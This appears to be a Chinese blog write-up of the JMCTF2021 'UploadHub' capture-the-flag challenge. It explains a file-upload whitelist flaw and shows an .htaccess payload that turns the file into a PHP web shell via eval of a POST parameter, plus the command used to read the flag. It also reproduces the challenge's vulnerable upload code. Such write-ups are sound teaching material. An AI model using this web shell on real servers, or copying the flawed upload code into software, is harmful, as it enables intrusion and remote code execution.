JMCTF2021-UploadHub


JMCTF2021-UploadHub

知识点概要:文件上传bypass

题目有源码,首页有上传功能

index.php上传功能

文件后缀白名单的变量前面是$allow_type,后面是$type,相当于没过滤,可以上传任意文件,同目录是php代码,那么首先思路就是传php文件

apache2.conf文件有如下内容,禁用了php解析引擎,所以直接上传php文件行不通

可以传.htaccess文件修改解析配置,直接把.htaccess文件本身按照php解析,.htaccess文件内容如下

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php @eval($_POST['test']);?>

强制所有匹配的文件被一个指定的处理器处理 用法

ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted	# 允许所有请求
php_flag engine on	# 开启PHP解析引擎
php_value auto_prepend_file .htaccess	# 在主文件解析之前自动解析包含.htaccess的内容

根据index.php代码逻辑,文件上传好后,文件路径会打印到<img>标签的src属性值

上传成功后,右键查看页面源码,在<img>标签可看到文件路径,直接点击访问即可

由于start.sh有删除上传文件的定时任务,所以可能需要重新传个几次,不过根据index.php22行,文件路径命名不会变,所以还是省了点事

HackBar POST传参,执行phpinfo()如下

读flag如下

test=var_dump(file_get_contents("/flag"));

参考

https://blog.csdn.net/weixin_45669205/article/details/117047432

index.php完整代码

<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
    <body>  
        <h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>

        <form action="" method="post"
enctype="multipart/form-data">
            <label for="file">filename:</label>
            <input type="file" name="file" id="file" /> 
            <input type="submit" name="submit" value="submit" />
        </form> 


<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
        
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);

            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);

            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }

            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }

    elseif (isset($_GET['id'])){
        $id=intval($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }


?>
<style>
      body{
   background:url(./back.jpg)  no-repeat right -160px  ;
   background-size:90%;
   background-attachment:fixed;
  background-color: rgba(255, 255, 255, 0.8);
}
      </style>
    </body>
</html>

文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录